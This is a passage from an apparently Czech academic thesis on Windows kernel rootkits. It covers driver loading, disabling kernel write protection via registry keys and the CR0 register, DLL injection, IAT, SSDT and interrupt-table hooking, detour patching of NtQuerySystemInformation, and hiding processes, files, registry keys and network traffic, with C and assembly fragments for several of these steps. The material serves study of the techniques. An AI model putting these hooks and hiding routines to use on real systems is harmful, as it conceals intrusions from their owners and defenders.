Cılem teto kapitoly je ozrejmit ctenari techniky, ktere mohou rootkity pouzıt pro ovliv-nenı behu systemu. Prvnı cast se zabyva vytvorenım ovladace zarızenı a nahranım rootkitudo jadra. Ve druhe casti jsou predstaveny techniky pouzıvane rootkity uzivatelske urovne aukazany jejich vyhody a nevyhody v porovnanı s jadrovymi rootkity. Zbyla cast se jiz plnevenuje jednotlivym technikam utoku na jadro systemu. Informace uvedene v teto kapitolebyly cerpany zejmena z [1, 2, 14, 20, 8].

3.1 Vstup do jadra

Jadrove rootkity, ktere jsou stezejnım tematem teto kapitoly, musı bezet v jadrovemrezimu. Pro nahranı vlastnıho kodu do jadra lze ve Windows pouzıt zaveditelnych jadrovychmodulu, ktere jsou znamy spıse jako ovladace zarızenı. Ovladac zarızenı slouzı primarne kekomunikaci s hardware, ale obecne muze byt pouzit pro vykonanı libovolneho kodu. Duleziteje, ze vyuzıva v procesorovy mod ring 0, a je tedy na stejne urovni opravnenı jako samotnejadro.

3.1.1 Vytvorenı ovladace

Kazdy ovladac musı obsahovat vstupnı bod — funkci, ktera bude zavolana po jehozavedenı. Ovladac muze mıt funkci, ktera bude zavolana pri zadosti o jeho odstranenı.Pokud ji neobsahuje, jadro nemuze odstranit modul za behu a rootkit tak zustane v pametiaz do restartu systemu. Minimalnı kod ovladace by mohl vypadat nasledovne [21, 5]:

#include <ntddk.h>

DRIVER_INITIALIZE DriverEntry; //vstupnı bod ovladace

void Unload(PDRIVER_OBJECT DriverObject) {

//zde je mozne provest akce pred odstranenım ovladace z jadra

}

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path) {

driver->DriverUnload = Unload; //nastavenı funkce pro ukoncenı

13

//zde bude dalsı kod pro spravnou inicializace ovladace

return STATUS_SUCCESS;

}

Ovladace lze do jadra zavest pomocı spravce sluzeb ve Windows. Pro automaticke na-hranı je mozne napsat si jednoduchy zavadec za pouzitı API. K nahranı kodu do jadra jenutny prıstup administratora.

3.1.2 Znovuspustenı

Pro prezitı rootkitu v cılovem systemu je nutne nejenom jeho dobre ukrytı, ale takeschopnost spustit se po restartu pocıtace. Nejjednodussım zpusobem je vytvorenı spouste-cıho klıce v registrech, ktery vyuzıva vetsina automaticky spoustenych programu ve Win-dows. Jedna se o pomerne napadny zpusob, nicmene rootkit muze tento klıc skryt. Dalsımoznostı je zaregistrovat rootkit jako platny ovladac zarızenı, ktery bude nahran pri spus-tenı systemu. I tımto zpusobem dojde k vytvorenı klıce v registrech.

3.1.3 Prekonanı ochrany pameti

Jadro operacnıho systemu se snazı chranit pred nedovolenymi zmenami pameti, a protolze k nekterym pamet’ovym strankam pristupovat jen pro ctenı. Pokus o zapis do takovetostranky skoncı kritickou chybou Blue Screen of Death. Pro prevzetı kompletnı kontroly nadOS je nutne tuto ochranu obejıt. Lze pouzıt jeden ze zpusobu [1]:

1. Uprava registru. Trvaleho vypnutı ochrany pameti se da docılit nastavenım nasle-dujıcıch dvou klıcu v registru:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

EnforceWriteProtection = 0

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

DisablePagingExecutive = 1

Zmena se projevı po restartu systemu.

2. Pouzitı rıdıcıch registru CPU. Vynulovanı bitu write protect v procesorovemregistru CR0 povolı CPU zapisovat i do stranek oznacenych pouze pro ctenı. Upravuregistru je vhodne provest az tesne pred pozadovanym zapisem do pameti a pote jejobnovit do puvodnıho stavu. K povolenı zapisu lze pouzıt nasledujıcıch instrukcı:

PUSH EAX

MOV EAX, CR0

AND EAX, FFFEFFFFh

MOV CR0, EAX

POP EAX

14

3.2 Unos funkcı v uzivatelskem prostoru

Unasenı funkcı (anglicky hooking) je tradicnı technikou pozmenovanı toku programu.Vyuzıva se zde toho, ze veskera komunikace s jadrem probıha pres rozhranı systemovychvolanı. Typicky utok probıha tak, ze jsou prepsany adresy funkcı v nektere ze systemovychtabulek, aby odkazovaly na kod rootkitu. Pri pokusu o vyvolanı unesene funkce se mıstotoho zavola kod podvrzeny rootkitem. Ten vetsinou preda rızenı puvodnı funkci, vyfiltrujejejı vysledky a vratı je aplikaci.

Unasenı funkcı muze byt rozdeleno podle toho, zda je provadeno na urovni jadra nebouzivatelskeho rezimu. Utok na uzivatelsky rezim zasahuje jen do pameti patrıcı danemuprocesu. Abychom ovlivnili vsechny procesy v systemu, musıme injektovat skodlivy kod dokazdeho z nich zvlast’.

3.2.1 Injekce DLL pomocı Windows hooks

Metoda injekce DLL slouzı k zavedenı kodu rootkitu do pameti jineho procesu, a je takvstupem pro provedenı dalsıch zmen v jeho pamet’ovem prostoru. Vyuzıva se zde rozhranıWindows hooks [22]. Jedna se o mechanizmus, kdy aplikace muze nastavit proceduru kesledovanı udalostı vznikajıcıch v systemu a zpracovat je jeste drıve, nez udalost dorazık cılovemu programu.

K nastavenı obsluhy je urcena funkce SetWindowsHookEx se ctyrmi parametry. Typzachytavane udalosti je specifikovan prvnım parametrem. Jedna se o nekterou z preddefi-novanych konstant, napr. WH_MOUSE pro monitorovanı pohybu mysi nebo WH_KEYBOARD prodetekci stisknutych klaves. Pro ucely rootkitu na typu udalosti nezalezı — dulezite je, abys velkou pravdepodobnostı nastala. Druhy parametr je ukazatel na knihovnı funkci, kterouchceme zavolat, kdyz udalost nastane. Handle knihovny obsahujıcı tuto funkci je predanojako tretı. Poslednı parametr identifikuje vlakno, jehoz udalosti obsluhujeme. Pokud je 0,jsou zachytavany vsechny udalosti na aktivnı plose.

Musıme tedy vytvorit jednoduchou knihovnu s obsluznou funkcı a nastavit zachytavanıudalostı pro vsechny procesy. Pokud se v systemu objevı udalost, OS prilinkuje k procesu,jenz ma udalost obdrzet, DLL knihovnu zadanou tretım parametrem a nasledne v nı zavolaobsluznou funkci. Tım dosahneme vlozenı kodu rootkitu do adresoveho prostoru cizıhoprocesu. Ihned po pripojenı knihovny se navıc automaticky zavola funkce DllMain, kteraje jejım vstupnım bodem. V nı lze provest libovolne zmeny pameti cıloveho procesu.

Nevyhodou teto metody je, ze nektere konzolove aplikace neprijımajı zadne udalosti, atedy se do nich nepodarı injektovat kod rootkitu.

3.2.2 Unos tabulky importu adres

Unosem tabulky importu adres lze dosahnout presmerovanı volanı knihovnıch funkcı [8].Kdyz chce aplikace pouzıt nejakou funkci z externı knihovny, musı nejdrıve importovat jejıadresu. K tomuto ucelu ma kazdy proces tabulku importu adres — Import Address Table,ve ktere jsou zaznamy pro vsechny pouzite externı funkce. V okamziku pripojenı knihovnyk programu je tato tabulka naplnena virtualnımi adresami funkcı v knihovne. Pri zavolanıexternı funkce dochazı k neprımemu volanı skrze prıslusnou adresu v IAT.

Pokud se nam podarı kod rootkitu injektovat do nejakeho procesu, muzeme analyzovatobsah jeho pameti a prepsat vybranou hodnotu v IAT adresou sve vlastnı funkce. Po za-volanı externı funkce tak dojde k predanı rızenı rootkitu mısto puvodnı funkci. Pozmenenytok programu je znazornen na obrazku 3.1.

15

Kód rootkitu

Kód programu Tabulka importů adres GetLocalTime()

Původní tok

programu

Pozměněný

tok programu

Obrazek 3.1: Unos funkcı pres tabulku importu adres

Na rozdıl od dalsıch pokrocilejsıch technik nenı potreba vytvaret ovladac zarızenı a celykod muze bezet v uzivatelskem rezimu. Dıky tomu je tato technika pomerne jednoducha. Maale nekolik velkych nevyhod. Je celkem snadne ji objevit a nenı prılis spolehliva. Problememjsou take procesy, ktere nahravajı knihovny az za behu pomocı LoadLibrary a adresyknihovnıch funkcı zıskavajı volanım GetProcAddress. Takoveto funkce pak nejsou uvedenyv IAT a nemohou byt uneseny touto metodou.

3.3 Unos funkcı v prostoru jadra

Jak bylo nastıneno drıve, unasenı funkcı v uzivatelskem prostoru patrı mezi nejmenespolehlive metody. Mnohem ucinnejsı je provest zmeny prımo na strane jadra. Unosy v jadrejsou globalnı pro vsechny procesy (nenı nutne do kazdeho zvlast’ injektovat svuj kod) a jsouhure odhalitelne.

3.3.1 Utok na tabulku SSDT

V kapitole 2.2 byl popsan mechanizmus systemovych volanı, jenz je cılem tohoto utoku.Kritickym mıstem volanı jadra je vyhledanı funkce v tabulce SSDT, nebot’ rootkit muzeukazatele v teto tabulce upravit tak, aby odkazovaly na jine mısto v pameti. Ve vysledkutak muze rootkit podvrhnout svou vlastnı verzi systemoveho volanı.

K provedenı utoku je potreba vytvorit si strukturu pro tabulku popisovacu systemovychsluzeb a skutecnou tabulku KeServiceDescriptorTable do nı namapovat [1]:

#pragma pack(1) //ovlivnuje zarovnanı struktur v pameti

typedef struct ServiceDescriptorTable {

unsigned int *ServiceTable; //ukazatel na zacatek SSDT

unsigned int *unused; //nepouzito

unsigned int ServicesCount; //pocet zaznamu v SSDT

unsigned char *ParamTable; //ukazatel na tabulku parametru

} ServiceDescriptorT;

//import a mapovanı tabulky na typ ServiceDescriptorT

__declspec(dllimport) ServiceDescriptorT KeServiceDescriptorTable;

16

Jakmile mame k dispozici prıstup do SSDT, musıme vyhledat, na jakem indexu se na-chazı funkce, kterou chceme unest. Nejjednodussım resenım je postupne prochazet zaznamyv SSDT a porovnavat je s adresou unasene systemove funkce.

unsigned int SyscallIndexNt(unsigned int NtFunction) {

for (unsigned int i = 0; i < KeServiceDescriptorTable.ServicesCount; i++) {

if (KeServiceDescriptorTable.ServiceTable[i] == NtFunction) {

return i;

}

}

return KeServiceDescriptorTable.ServicesCount;

}

Tento postup funguje pouze pro nektera systemova volanı. Problem nastava v okamziku,kdy nenı unasena NtXxx funkce exportovana z jadra a nezname tak jejı adresu. Pro volanız jadra jsou urceny funkce ZwXxx a ty jsou z nej take exportovany. Ucelem ZwXxx funkcı jenaplnit registr EAX cıslem sluzby a zavolat rutinu pro obsluhu systemovych volanı. To takeprovadı hned prvnı instrukce a napr. pro funkci ZwWriteFile vypada takto:

e082a2a4 b812010000 mov eax,112h

Vidıme, ze systemove volanı NtWriteFile ma cıslo 112h. Toto cıslo se nachazı na druhembajtu volanı ZwXxx. Vyse uvedenou funkci SyscallIndexNt jsme proto schopni modifikovatnasledovne:

unsigned int SyscallIndexZw(unsigned int ZwFunction) {

return *(unsigned int *) (ZwFunction + 1);

}

Pred provedenım zmen v SSDT je nutne zajistit si prıstup pro zapis, coz bylo diskuto-vano na zacatku teto kapitoly. Samotny unos funkce provedeme atomickou zamenou adresyv SSDT za adresu vlastnı funkce.

unsigned int index = SyscallIndexZw(ZwHookedFunction);

NtOriginalFunction = (PVOID) InterlockedExchange(

(PLONG) &KeServiceDescriptorTable.ServiceTable[index],

(LONG) HookingFunction);

3.3.2 Utok na tabulku prerusenı

Obsluha prerusenı procesorem probıha pres tzv. tabulku prerusenı [3]. V okamziku prı-chodu prerusenı dojde k ulozenı kontextu procesoru na zasobnık a vyhledanı obsluzne rutinyv tabulce prerusenı. Po dokoncenı obsluhy se procesor obnovı do stavu pred prıchodem pre-rusenı.

Tabulka prerusenı obsahuje 256 osmibajtovych zaznamu s adresami obsluznych rutina dalsımi prıznaky. Adresa zacatku tabulky prerusenı je ulozena v procesorovem registruIDTR. Pro ctenı a zapis do registru IDTR slouzı instrukce LIDT respektive SIDT. U vıcepro-cesorovych systemu je situace o neco komplikovanejsı, nebot’ kazdy procesor ma vlastnıtabulku prerusenı a vlastnı registr IDTR. Pri manipulaci s prerusenımi je nutne provestzmeny u vsech CPU v systemu.

17

Vytvorenım vlastnıch obsluznych rutin a nahrazenım prıslusnych adres v tabulce pre-rusenı lze zıskat kontrolu nad prıchody prerusenı. Nevyhodou je, ze obsluha prerusenı sepo dokoncenı vracı prımo do uzivatelskeho rezimu, cımz efektivne zabranuje vyfiltrovanıvystupu. Pred uvedenım instrukce SYSENTER byla nejcastejsım cılem obsluha prerusenı INT2E, ktere slouzilo pro volanı funkcı jadra.

3.4 Patchovanı za behu

Unasenı funkcı, popsane v predchozı kapitole, bylo zalozeno na prepsanı adresy v ne-ktere ze systemovych tabulek. Prestoze je tato technika dostatecne ucinna a spolehliva, jerelativne snadne jı odhalit. Stejneho vysledku lze docılit i mnohem nenapadneji, pokud sezmeny v toku rızenı provedou prımo uvnitr cılove funkce. Tato skupina metod, nazvanapatchovanı za behu, prinası rozumny kompromis mezi klasickym unosem funkcı a prımoumanipulacı s jadrem, co se ukrytı a implementacnı narocnosti tyce.

3.4.1 Detour patching

Jednım ze zpusobu patchovanı funkcı je vlozit na vhodne mısto instrukci skoku, kterapresmeruje rızenı na kod rootkitu. Tato technika je znama jako detour patching (presmero-vanı rızenı oklikou) [2, 20].

Vlozenım skoku do puvodnı funkce dojde k nenavratnemu prepsanı nekolika instrukcı.Protoze nechceme ohrozit spravne vykonanı funkce, je potreba si odstranene instrukce ne-kam ulozit a vykonat je pozdeji. Na architekture IA-32 je delka instrukcı ruzna a nemuzemeobecne rıci, kolik instrukcı prepıseme. Je potreba dat si pozor zvlaste na to, aby nedoslok rozdelenı nektere z nich na dve castı. Usek kodu, slouzıcı k vykonanı uschovanych in-strukcı a skoku zpet do puvodnı funkce, se nazyva trampolına. Schema utoku je zobrazenona obrazku 3.2.

Původní kód Vložený skok

Skok zpět

Původní kód

Kód rootkitu

Původní funkce Pozměněná funkceRootkit

Trampolína

Před Po

Obrazek 3.2: Schema utoku metodou detour patching

Skok je mozne vlozit na ruzna mısta v cılove funkci. Cım hloubeji jej vlozıme, tım vıceznesnadnıme detekci rootkitu. Vlozenı kodu doprostred funkce vyzaduje hluboke znalostiprogramovanı v assembleru a vyhledanı vhodneho mısta pro modifikaci muze byt casovevelmi narocne. Typicky se proto skok vklada na zacatek nebo na konec, cımz odpada potrebaanalyzovat celou napadenou funkci. Pri injekci kodu na konec muze byt problem v tom, ze

18

se funkce v nekterych prıpadech nevykona cela a ukoncı se drıve (napr. z duvodu vyskytuchyby), aniz by doslo k presmerovanı. Drobnym plusem je naopak to, ze nenı nutne provadetskok zpet za patchovane mısto (nebot’ za nım uz stejne funkce koncı) a muzeme z nı rovnouvyskocit instrukcı RET. Dalsı moznostı je vyuzıt toho, ze pred zacatkem a za koncem funkceje obvykle nekolik bajtu neuzitecnych instrukcı jako vypln. Typicky se jedna o instrukceNOP nebo INT 3 (breakpoint), ktere lze bez obav prepsat a vyuzıt vznikle mısto ke svymucelum.

Vyse uvedeny postup lze demonstrovat na jednoduchem prıkladu, kdy zkusıme modifi-kovat systemove volanı NtQuerySystemInformation. Disassemblovanın zjistıme, ze zacınanasledujıcımi instrukcemi:

8057bc36 6810020000 push 210h

8057bc3b 6840a44e80 push offset nt!ExTraceAllTables+0x1eb

8057bc40 e8f667f6ff call nt!_SEH_prolog

...

Vidıme, ze prvnı instrukcı je vlozenı konstanty na zasobnık. Delka instrukce PUSH je 5bajtu, coz je stejne jako je delka instrukce relativnıho blızkeho skoku. Nynı muzeme vytvoritjednoduchou funkci, na kterou presmerujeme rızenı:

__declspec(naked) Detour() { //naked funkce nemajı zadnou hlavicku

DbgPrint("Detour!");

//trampolına

__asm {

PUSH 210h ;odstranena instrukce

JMP NEAR [jumpback] ;skok zpet do puvodnı funkce

}

}

Adresa mısta, na ktere se ma provest navrat z trampolıny, nenı znama v dobe prekladu.Jednım z moznych resenı je vytvorit si globalnı promennou, kterou naplnıme konkretnıadresou v okamziku zavedenı ovladace. Jejı hodnota se bude odvıjet od adresy symboluNtQuerySystemInformation zvysene o delku vlozeneho skoku (5 bajtu), nebot’ se musımevratit az za upravene mısto:

jumpback = (unsigned int) NtQuerySystemInformation + 5;

Nasledne muzeme pristoupit k aplikovanı patche. Instrukce JMP NEAR bere jako prımyoperand 32bitove posunutı oproti aktualnı pozici. Posunutı spocıtame jednoduse odectenımadres funkcı NtQuerySystemInformation a nami vlozene Detour. Cely offset se musı jesteo 5 snızit, nebot’ se pocıta az od konce instrukce JMP.

char *patchaddr = (char *) NtQuerySystemInformation;

patchaddr[0] = 0xE9; //operacnı kod JMP NEAR je 0xE9

unsigned int *addr = (unsigned int *) &patchaddr[1]; //uk. na operand JMP

*addr = (unsigned int) Detour - (unsigned int) NtQuerySystemInformation - 5;

S potrebou napsat a analyzovat cast kodu v assembleru souvisı i horsı prenositelnostmezi ruznymi verzemi operacnıho systemu MS Windows. Pred aplikovanım patche je vhodnezkontrolovat funkci na vyskyt charakteristicke sekvence bajtu a ujistit se, ze je to skutecneona. Tım predejdeme nechtenych padum systemu.

19

3.5 Vrstvene ovladace

Ovladace ve Windows lze propojovat do retezcu tak, ze vystup jednoho se stane vstu-pem druheho [23]. Ovladace nejnizsı urovne provadejı manipulaci s hardware, zatımco tyna vyssı urovni se muzou zabyvat konverzı a formatovanım dat bez ohledu na hardwa-rovou reprezentaci. V praxi to muze vypadat tak, ze nad ovladacem pro prıstup k diskumuzou pracovat ovladace pro jednotlive souborove systemy a nad nimi jeste probıhat sifro-vanı disku. Vysledkem je, ze kazdy ovladac muze byt specializovan jen na jednu konkretnıcinnost.

Konceptu vrstvenych ovladacu se da dobre zneuzıt rootkity. Zapojenım rootkitu navhodne mısto retezce lze kontrolovat a menit tok dat. Takto lze naprıklad nad ovladacisouborovych systemu vytvorit jednotny filtr pro skryvanı souboru.

Implementacne je tato technika narocnejsı nez unasenı obsluhy funkcı. Jedna se vsako spolehlivou a elegantnı metodu.

3.6 Prıma manipulace s objekty jadra

Jednou z nejnarocnejsıch a nejobtızneji odhalitelnych technik je prıma manipulace s ob-jekty jadra [8]. Tato metoda se nespoleha na unosy systemovych funkcı, mısto toho prımomenı pamet’ jadra tak, aby systemova volanı sama nacetla podvrzene hodnoty.

Metoda predpoklada, ze si jadro pro sve potreby udrzuje v pameti seznamy ruznychobjektu. Odstranıme-li objekt ze seznamu, dosahneme jeho zmizenı. Tento postup lze pouzıtpouze proti objektum, ktere si OS drzı v pameti, nelze jım naprıklad skryvat soubory.

Narocnost metody spocıva v tom, ze vnitrnı struktury jadra nejsou dokumentovany aani z nej nejsou exportovany. Pro vyhledanı objektu v pameti je potreba pouzıt heuristika casto nemame 100% jistotu, ze upravujeme to, co chceme. Pouzite struktury jadra semohou menit mezi ruznymi verzemi operacnıho systemu.

3.7 Srovnanı metod

Informace o metodach utoku na system, uvedene v teto kapitole, jsou shrnuty v tabulce3.1 a porovnany z hlediska vypocetnı, pamet’ove a implementacnı narocnosti. Srovnana jetake prenositelnost mezi ruznymi verzemi Windows, nutnost opravnenı administratora ariziko odhalenı.

Metoda utoku Vypocetnınar.

Pamet’ovanar.

Implemen-tacnı nar.

Opravnenıspravce

Rizikoodhalenı

Prenosi-telnost

Unos IAT vyssı vyssı nızka ne vysoke dobra

Unos SSDT nızka nızka strednı nutna strednı dobra

Unos prerusenı nızka nızka vysoka nutna strednı nızkaPatchovanı za behu nızka nızka vysoka nutna nızke nızkaVrstvene ovladace nızka nızka vysoka nutna nızke dobraPrıma manipulaces objekty jadra

vyssı vyssı velmivysoka

nutna velminızke

nızka

Tabulka 3.1: Porovnanı metod utoku na system

20

Kapitola 4

Metody skryvanı prostredku

V teto kapitole jsou predstaveny zpusoby skryvanı vypocetnıch prostredku. Postupneje zde ukazano filtrovanı bezıcıch procesu, skryvanı souboru a slozek, maskovanı hodnotv registrech a ukryvanı sıt’ove komunikace.

4.1 Skryvanı procesu

Aplikace pro spravu procesu (napr. spravce uloh) zıskavajı data systemovym volanımNtQuerySystemInformation [13]. Tato funkce, jak jiz napovıda nazev, slouzı k zıskavanınejruznejsıch informacı o systemu. Typ zıskane informace je urcen prvnım parametrem.Pokud je nastaven na SystemProcessInformation, bude vracen linearnı seznam s popisembezıcıch procesu. Provedeme-li unos teto funkce (at’ uz pres tabulku SSDT nebo patcho-vanım jejıho kodu), muzeme ze zıskanych dat vypustit nechtene procesy. Aplikace, kterafunkci zavolala, tak dostane neuplna data.

Funkce jako vysledek naplnı zvoleny buffer strukturami SYSTEM_PROCESS_INFORMATION.Protoze se jedna o struktury promenne delky, obsahuje kazda relativnı offset na zacatek dalsız nich. Poslednı prvek ma zde nulu. Struktura mimo jine obsahuje i PID a jmeno procesua vypada nasledovne:

typedef struct _SYSTEM_PROCESS_INFORMATION {

ULONG NextEntryOffset; //posunutı na dalsı proces

...

UNICODE_STRING ProcessName; //nazev

...

ULONG ProcessId; //PID

...

} SYSTEM_PROCESS_INFORMATION;

Skrytı procesu dosahneme pouhou modifikacı clenske promenne NextEntryOffset. Jejıhodnotu musıme zvetsit o hodnotu stejne promenne ve skrytem procesu, jak je znazornenona obrazku 4.1. Programove toho dosahneme naprıklad nasledujıcım usekem kodu:

//pokud zacına jmeno procesu prefixem _root_, tak ho skryjeme

if (memcmp(CurrProc->ProcessName.Buffer, L"_root_" 12) == 0) {

if(CurrProc->NextEntryOffset == 0) {

//skryvany je poslednı proces v seznamu

21

PrevProc->NextEntryOffset = 0;

CurrProc = NULL;

} else {

//zvetsenı offsetu u predchozıho procesu

PrevProc->NextEntryOffset += CurrProc->NextEntryOffset;

CurrProc = (SYSTEM_PROCESS_INFORMATION *)

((char *) CurrProc + CurrProc->NextEntryOffset);

}

...

}

Kod predpoklada, ze je vykonavan v cyklu pro kazdy prvek seznamu. PromennaCurrProc je ukazatel na aktualnı proces v seznamu, PrevProc ukazuje na predchozı ne-skryty proces. Nenı nutne testovat, jestli je obsah PrevProc ruzny od NULL. Takovy prıpadby nastal pouze pro uplne prvnı proces v seznamu a tım je vzdy System, ktery nechcemenikdy skryvat.

...

...

SYSTEM_PROCESS_INFORMATION

původní

ukazatele

ukazatel

změněný

rootkitem

Obrazek 4.1: Skryvanı procesu

4.2 Skryvanı souboru a slozek

Ve Windows se pro vypis vsech souboru v adresari pouzıva funkce FindFirstFile

vracejıcı handle, ktere se nasledne pouzije k opakovanemu volanı FindNextFile a iteracipres jednotlive soubory ve slozce [24, 8]. Interne obe funkce pouzıvajı systemove volanıNtQueryDirectoryFile. Vsechny pozadavky na informace o obsahu slozky prochazejı prestoto volanı, a je tedy vhodnym cılem pro unos.

Mechanizmus zıskavanı informacı o souborech pomocı NtQueryDirectoryFile je velmipodobny tomu, ktery je pouzit k vypisu procesu a ktery byl popsan v kapitole 4.1. I v tomtoprıpade je vysledek vracen ve forme linearnıho seznamu s informacemi o jednotlivych soubo-rech a algoritmus skryvanı tak bude velice podobny — lisit se budou hlavne pouzite datovestruktury.

22

Funkce NtQueryDirectoryFile ocekava celkem 11 parametru [6]. Nas nejvıce zajımaosmy z nich — FileInformationClass, ktery urcuje typ pozadovane informace a formatstruktury, ve ktere data zıskame. Muze nabyvat jedne z osmi hodnot, z nichz mame zajempouze o nasledujıcı:

Hodnota parametru FileInformationClass Odpovıdajıcı datova strukturaFileBothDirectoryInformation FILE_BOTH_DIR_INFORMATION

FileDirectoryInformation FILE_DIRECTORY_INFORMATION

FileFullDirectoryInformation FILE_FULL_DIR_INFORMATION

FileIdBothDirectoryInformation FILE_ID_BOTH_DIR_INFORMATION

FileIdFullDirectoryInformation FILE_ID_FULL_DIR_INFORMATION

FileNamesInformation FILE_NAMES_INFORMATION

Kazda z vyse uvedenych datovych struktur obsahuje minimalne nasledujıcı udaje:

typedef struct _FILE_BOTH_DIR_INFORMATION {

ULONG NextEntryOffset; //posunutı na dalsı zaznam

...

ULONG FileNameLength; //delka jmena

WCHAR FileName[1]; //jmeno souboru/slozky

} FILE_BOTH_DIR_INFORMATION;

Opet zde vyuzijeme algoritmu zalozeneho na zmene promenne NextEntryOffset. Oprotiskryvanı procesu je potreba navıc uvazovat skrytı hned prvnıho souboru v seznamu. V ta-kovemto prıpade je potreba prekopırovat obsah pameti s informacemi o druhem souboru nazacatek seznamu funkcı RtlMoveMemory. Tato funkce zvlada presun dat v pameti, i kdyz sezdrojova a cılova oblast castecne prekryvajı.

Tımto zpusobem lze skryvat soubory i slozky. Dojde vsak jen ke zmizenı souboru (slozky)ze vsech vypisu, stale bude mozne otevrıt soubor napr. v textovem editoru rucnım zadanımcesty a vstoupit do skryte slozky napr. prıkazem cd. Pro kompletnı kontrolu prace se sou-bory je potreba unest i funkce NtOpenFile, NtCreateFile, NtDeleteFile, NtWriteFile,NtReadFile a NtSetInformationFile.

4.3 Skryvanı klıcu v registrech

Registry jsou rozsahlou hierarchickou informacnı databazı obsahujıcı konfiguraci a na-stavenı operacnıho systemu. Registry se skladajı z klıcu, ktere mohou obsahovat hodnotynebo dalsı podklıce.

Pro vypis vsech hodnot v klıci se pouzıva systemove volanı NtEnumerateValueKey, provypis vsech podklıcu slouzı NtEnumerateKey [13]. Chovanı i parametry obou funkcı jsouprakticky identicke, a proto zde bude popsano pouze skryvanı klıcu. Pro zjistenı vsechpodklıcu musıme toto volanı opakovat postupne se zvysujıcım se indexem, ktery se zadavajako druhy parametr. Pokud index presahne skutecny pocet klıcu, funkce vracı chybovy kodSTATUS_NO_MORE_ENTRIES. Format datove struktury, ve ktere obdrzıme data, specifikujetretı parametr.

Pro skrytı klıce registru musıme provest unos NtEnumerateKey a tuto puvodnı funkcipote zavolat. Podle nazvu klıce (urceno cleny struktury Name a NameLength ve vystupnımbufferu) se rozhodneme, zda ho chceme skryt. Vzhledem k tomu, ze pocet podklıcu v klıci lzetake zjistit volanım NtQueryKey a nektere programy na takto zıskanou hodnotu spolehajı,

23

mel by pocet podklıcu i po provedenı ukrytı zustat pokud mozno stejny. Je jasne, ze pokudnejake zaznamy skryjeme a pritom budeme trvat na zachovanı jejich poctu, musıme mıstonich nekde vzıt nahradu. Lze se ubırat temito cestami:

• Pouzitı existujıcıho zaznamu. Mısto skryteho zaznamu vratıme jiny existujıcı klıc,ktery bude tım padem ve vysledku zobrazen vıcekrat.

• Vytvorenı noveho zaznamu. Jmeno skryteho klıce v bufferu prepıseme na jine(napr. obsahujıcı same mezery), cımz dojde k vytvorenı falesneho zaznamu v re-gistrech. Pokus o prıstup k ve skutecnosti neexistujıcımu klıci vyvola chybu.

Jako vhodnejsı se jevı prva varianta, protoze nedochazı k zadnym chybam, ktere bymohly ovlivnit jine programy. Takto lze naprıklad mısto skryteho klıce vratit klıc s inde-xem o jedna vyssım. Pokud by mel index presahnout maximalnı hodnotu, pak je moznopokracovat znova od nuly. Spravne je nutne osetrit situaci, kdy by doslo ke skrytı vsechpodklıcu v klıci a vratit chybovy kod STATUS_NO_MORE_ENTRIES (v takovem prıpade budeporusen predpoklad o zachovanı poctu klıcu, takze nektere nevhodne napsane programynemusı pracovat zcela korektne).

4.4 Skryvanı sıt’ovych prostredku

Skryvanı sıt’ovych prostredku patrı mezi nejslozitejsı cinnosti, ktere muze rootkit pro-vadet, nebot’ prace se sıtı je komplexnı zalezitostı [1]. Dobry rootkit by mel umet maskovatotevrene porty a spojenı a dale pak ukryvat samotne pakety proudıcı pres sıt’ove rozhranı.Co cinı praci se sıtı jeste slozitejsı, je moznost odhalenı ze strany spravce sıte. I sebelepsırootkit jen tezko ucinı pakety neviditelne pro vsechny routery a smerovace po ceste.

Prave moznost odhalenı paketu behem jejich cesty po sıti vedla rootkity k tomu, ze snazıvyuzıt metod steganografie — ukrytı zpravy do beznych dat tak, aby si nikdo neuvedomil,ze probıha nejaka tajna komunikace. Lze tak naprıklad ukryt data do protokolu DNS,ktery vetsinou nebyva na firewallech blokovan. Dulezite je snazit se nevybocovat z beznekomunikace, ktera po sıti probıha. Zvlaste nadmerne vyuzıvanı prenosove kapacity muzeupoutat pozornost administratora.

Mezi dalsı techniky patrı pouzitı raw socketu pro prıstup na linkovou vrstvu. Rootkitse tak muze pokusit falsovat zdrojovou MAC a IP adresu. Bohuzel operacnı system zdevytvarı jista omezenı, co se tyce komunikace protokoly TCP a UDP pres raw sockety [2].Zpusobem, jak tato omezenı obejıt, je pouze napsanı vlastnıho sıt’oveho ovladace. Falsovanıadres muze byt v dobre zabezpecenych sıtıch jen na skodu — nektera sıt’ova zarızenı muzoukontrolovat rozsah IP adres a MAC adres pripojenych ke konkretnımu portu.

K ukrytı otevrenych portu v napadenem pocıtaci lze unest obsluhu volanıNtDeviceIoControlFile nebo vyuzıt vrstvenych ovladacu.

24

Kapitola 5

Implementace

Na zaklade poznatku zıskanych v predchozıch kapitolach bude v teto casti podrobnepopsana implementace jadroveho rootkitu vyuzıvajıcıho metodu detour patching [2, 20]utocıcı na rozhranı systemovych volanı. Tato metoda byla zvolena predevsım z duvodulepsıho ukrytı rootkitu pred detekcnımi nastroji a minimalnımu vyuzitı systemovych pro-stredku. Oproti prostemu unosu tabulky SSDT je o neco narocnejsı na implementaci, aleriziko odhalenı je zde mnohem nizsı, nebot’ zmeny provedene v systemovych volanıch jsoumene pruhledne. Tato technika upravuje jejich kod na urovni jednotlivych instrukcı CPU,kvuli cemu je hure prenosna mezi ruznymi verzemi operacnıho systemu, a proto bude v tetokapitole ukazano, jak tuto nevyhodu eliminovat.

Nynı stanovme pozadavky, ktere by mel rootkit splnovat. Mezi zakladnı funkce lze zcelajiste zaradit skryvanı bezıcıch procesu, souboru a slozek. Pro utocnıka muze byt rovnezzajımave maskovanı klıcu a hodnot v registrech, nebot’ tak muze zakryt nektere zmenyv nastavenı systemu nebo schovat automaticky spoustene programy. Manipulace s registryje take nutna pro zahlazenı vlastnıch stop — zakrytım vybranych klıcu dosahneme toho,aby se rootkit nezobrazil mezi ostatnımi ovladaci ve spravci zarızenı. Vzhledem k vysokeimplementacnı narocnosti nebudeme uvazovat skryvanı sıt’ovych prostredku. Rootkit musıbyt mozno ze systemu kdykoliv a bez nasledku odstranit a musı take spravne fungovat nanejpouzıvanejsıch verzıch operacnıho systemu MS Windows.

